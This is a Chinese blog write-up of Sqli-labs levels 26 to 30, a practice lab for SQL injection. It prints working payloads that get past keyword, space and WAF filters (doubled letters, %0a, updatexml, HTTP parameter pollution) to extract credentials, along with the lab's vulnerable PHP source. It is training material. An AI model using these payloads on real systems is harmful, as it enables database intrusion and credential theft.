Sqli-labs学习(八)

Less-26 过滤了注释和空格的注入

image-20220706104158886.png

看源代码中blacklist进行过滤

image-20220706104451822.png

看网上很多说window下apache解析url会有问题,使用%2a、%a0啥的没法绕过,所以使用括号进行绕过

当然先判断是单引号闭合

爆数据库名:

?id=1'anandd(updatexml(1,concat(0x7e,database(),0x7e),1))aandnd'

image-20220706113352061.png

爆数据表名:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1))aandnd'

image-20220706113432791.png

爆数据字段:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),0x7e),1))aandnd'

image-20220706113603529.png

但是发现报错信息超出范围。后半部分无法显示;google后发现可以使用三种方法:

  • 添加limit限制,此处经过尝试发现空格无法绕过,总是报错
  • 使用mid函数,第一个参数为获取的值,第二个参数为起始位的数字,第三个参数为获取多少位字符
  • 直接SQLmap

最后采用第二种方法:

?id=1'anandd(updatexml(1,concat(0x7e,mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),33,31),0x7e),1))aandnd'

image-20220706114854431.png

爆出id、username、password等字段

爆数据值:(同上,使用mid一点点显示值)

?id=1'anandd(updatexml(1,concat(0x7e,mid((select(group_concat(username,0x7e,passwoorrd))from(users)),1,31),0x7e),1))aandnd'

image-20220706115111054.png

【注】:注入点为and后的语句(可通过and后的语句控制整个语句的真假)

Less-26 过滤了空格和注释的盲注

image-20220706155154759.png

可以看到id添加了括号,同时不再输出错误(因此没法使用updatexml了)

根据题目提示使用盲注(尝试了%a0、%0b之类的但是怎么也过不去,换成linux系统还是不对,不再尝试了)

image-20220706185045203.png

image-20220706185032975.png

比较麻烦,最好写脚本自动化注入(或者直接sqlmap)

Less-27 过滤union和select

首先发现是单引号闭合且过滤掉了注释符,同时允许部分替代空格(%0a、%0b等)

来看下黑名单过滤掉的内容,可以看到没有之前一下子过滤所有s(空格、制表符、换行等)的了

image-20220707153230998.png

法一:报错注入,和Less-26一样,不过没有过率and(方法最简单,注入payload较短)

image-20220707153501502.png

法二:union联合注入,需要巧妙绕过大小写限制以及空格,同时需要保证整个语句正确

?id=0'%0auNIon%0aseLecT%0a1,database(),2'

image-20220707165128182.png

?id=0'%0auNIon%0aseLecT%0a1,database(),group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'%0a'

image-20220707165248896.png

Less-27a 基于盲注的过滤union和select

和上一题方法一样,不需要什么盲注,改成双引号闭合就可以了

image-20220707170153683.png

这题之所以说是盲注应该是因为不能基于报错注入(不显示错误原因),但我们直接联合注入正确回显所需信息即可

Less-28 基于错误的有括号的单引号字符型,过滤union和select的注入

首先判断闭合符号:单引号

第一个图中加了单引号,出现warning

image-20220707171045339.png

第二个图中加了双引号,无错误,说明单引号闭合

image-20220707171136926.png

尝试之前关卡中使用的联合注入,发现这题union、select大小写都进行了限制

image-20220707171329683.png

尝试url转义英文字母等非特殊字符(写个脚本,网上没找到在线转非特殊字符的)

content = input('请输入你要转义的URL内容:')
output = ''
for i in content:
    output += hex(ord(i)).replace('0x', '%')
print(output)

image-20220707173804357.png

结果发现想错了,转码的字符在传给后端前会解码,解码后的union和select还是会被过滤

那就只能报错注入了,不用联合注入(结果发现也不能,不回显错误信息,感觉Less-28标题提示不对,不能错误注入)

image-20220707174500442.png

查了下writeup发现因为只过滤一次union select,联合注入可以双写来着,忘了

但试了好几次还是不对,拐回去查看闭合发现这里有括号

image-20220707175119544.png

注入成功,盲注就不考虑了

Less-28a

?id=0') uunion%0aselectnion%0aselect 1,database(),2 and ('

image-20220707180946890.png

这关不细看了,比Less-28还简单,连空格也不过滤了

Less-29 有WAF的保护 基于错误

上来没发现和Less1有什么区别,直接就爆出数据表了?

image-20220707181935315.png

通过查阅网站和源文件发现index.php和Less-1一样,要使用WAF可以搭建jsp服务器或者访问Less-29/login.php(出题作者自己实现了类似tomcat的代码)

正确输入:

image-20220709214653540.png

尝试注入:(直接跳转至Less-29/hacked.php)

image-20220709214718481.png

源码中进行WAF防护的代码部分如下:可以看到过滤十分厉害,必须得是数字才正确

image-20220709214858224.png

感觉login.php代码很重要,来分析下(只保留了php语言部分)

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//disable error reporting
error_reporting(0);

// take the variables 
if(isset($_GET['id']))    // 取出id的后跟的值
{
    $qs = $_SERVER['QUERY_STRING'];    // 查询(query)的字符串,取出:id=……
    $hint=$qs;
    $id1=java_implimentation($qs);    // 模拟HPP(HTTP Parameter Pollution)
    $id=$_GET['id'];    // 取得是最后一个id的值
    //echo $id1;
    whitelist($id1);    // WAF防护,如果$id1过不去就直接跳转hacked.php,只要这里绕过去了,后面执行效果和Less-1一样

    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font color= "#FFFF00">';
        print_r(mysql_error());
        echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input);    // 匹配数字
    if($match)
    {
        //echo "you are good";
        //return $match;
    }
    else
    {
        header('Location: hacked.php');
        //echo "you are bad";
    }
}

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);    // 以&作为分隔符,分成多个字符串数组
    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        if($val=="id")    // 返回碰到的第一个id参数值(这里很关键)
        {
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "<br>";
            break;
        }
    }
}

?>

分析代码后尝试使用两个id组合:/Less-29/login.php?id=2&id=1

image-20220709222157235.png

/Less-29/login.php?id=1&id=2

image-20220709222221224.png

可以看出来实际取决于第二个id,尝试使用第一个id注入,出现WAF防护

image-20220709222311273.png

尝试第二个id注入:没事!

image-20220709222351817.png

所以就简单了:

login.php?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

image-20220709222657913.png

Less-30 有WAF 基于盲注

简单,Less-29改成双引号闭合

最后修改:2022 年 07 月 09 日
如果觉得我的文章对你有用,请随意赞赏